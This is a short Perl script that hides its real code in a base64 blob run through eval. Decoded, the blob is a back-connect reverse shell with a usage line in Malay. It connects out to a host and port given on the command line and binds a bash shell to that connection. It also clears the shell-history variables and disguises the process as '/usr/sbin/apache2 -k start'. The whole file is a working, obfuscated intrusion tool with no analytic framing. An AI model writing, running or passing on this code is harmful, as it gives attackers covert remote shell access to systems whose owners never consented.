#!/usr/bin/perl
use MIME::Base64;
eval(decode_base64('IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlrbGFuPSIiOw0KI3ByaW50ICJNYWxheSBD
QlxuIjsNCmlmICghJEFSR1ZbMF0pIHsNCiAgcHJpbnRmICJDYXJhbnlhOiAkMCBbSG9zdF0gPFBv
cnQ+XG5cbiI7DQogIGV4aXQoMSk7DQp9DQojcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xu
IjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRw
b3J0ID0gJEFSR1ZbMV07DQp9DQojcHJpbnQgIlsqXSBDb25uZWN0aW5nLi4uXG4iOw0KJHByb3Rv
ID0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpIHx8IGRpZSgiVW5rbm93biBQcm90b2NvbFxuIik7DQpz
b2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUgKCJTb2Nr
ZXQgRXJyb3JcbiIpOw0KbXkgJHRhcmdldCA9IGluZXRfYXRvbigkaG9zdCk7DQppZiAoIWNvbm5l
Y3QoU0VSVkVSLCBwYWNrICJTbkE0eDgiLCAyLCAkcG9ydCwgJHRhcmdldCkpIHsNCiMgIGRpZSgi
Iik7DQpleGl0KDEpOw0KfQ0KI3ByaW50ICJbKl0gU3Bhd25pbmcgLi5cbiI7DQppZiAoIWZvcmso
ICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVS
Iik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICAjIHByaW50IFNURE9VVCAkaWtsYW47
DQojICBzeXN0ZW0oJHN5c3RlbSk7DQpzeXN0ZW0oJ3Vuc2V0IEhJU1RGSUxFO3Vuc2V0IEhJU1RP
Ulk7dW5zZXQgSElTVFNJWkU7dW5hbWUgLWE7dztjdSAwLjI7ZGF0ZScpOw0KICBleGVjIHsnL2Jp
bi9iYXNoJ30gJy91c3Ivc2Jpbi9hcGFjaGUyIC1rIHN0YXJ0JyAuICJcMCIgeCA0Ow0KICBleGl0
KDApOw0KfQ0KI3ByaW50ICJbKl0gRGF0YWNoZWRcblxuIjsNCg=='));